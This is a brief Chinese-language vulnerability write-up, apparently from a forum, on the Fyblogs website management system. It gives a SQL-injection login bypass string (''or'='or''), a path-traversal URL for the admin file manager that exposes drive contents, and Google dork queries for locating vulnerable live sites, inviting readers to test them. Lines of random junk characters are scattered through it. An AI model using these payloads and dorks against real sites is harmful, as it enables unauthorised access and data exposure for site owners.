Fyblogs网站管理系统漏洞

admin

漏洞类型： 未授权访问/权限绕过

简要描述：

Fyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
3 C9 k! t. l- {- d2 O0 F% r+ U% V
6 b7 h) O9 u, J% Z7 ?详细说明：
, u4 H; J6 \2 n5 J- Y5 s$ \
' Q% n3 O  J* S0 e: r: I* @后台万能密码 'or'='or'
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
6 B3 a# h, ~; R' p- j8 h4 Z+ wadmin/uploadfile.asp?currentFolder=/upfiles/../

漏洞证明：
& ^$ Z' N% W/ {$ |, x
( M( ]) D1 V& q/ {8 p/ u谷歌：inurl:type.asp?id=1 新闻中心
或者 ：inurl:download_ok.asp?
' H7 K2 f- k5 T- `# R: _) D
可以测试
, \6 g/ A1 d+ Z, l; U6 f" [
' m4 r# d; ?, \, f, S- h6 g5 }  D5 m​
, ]! J6 d9 d/ }& h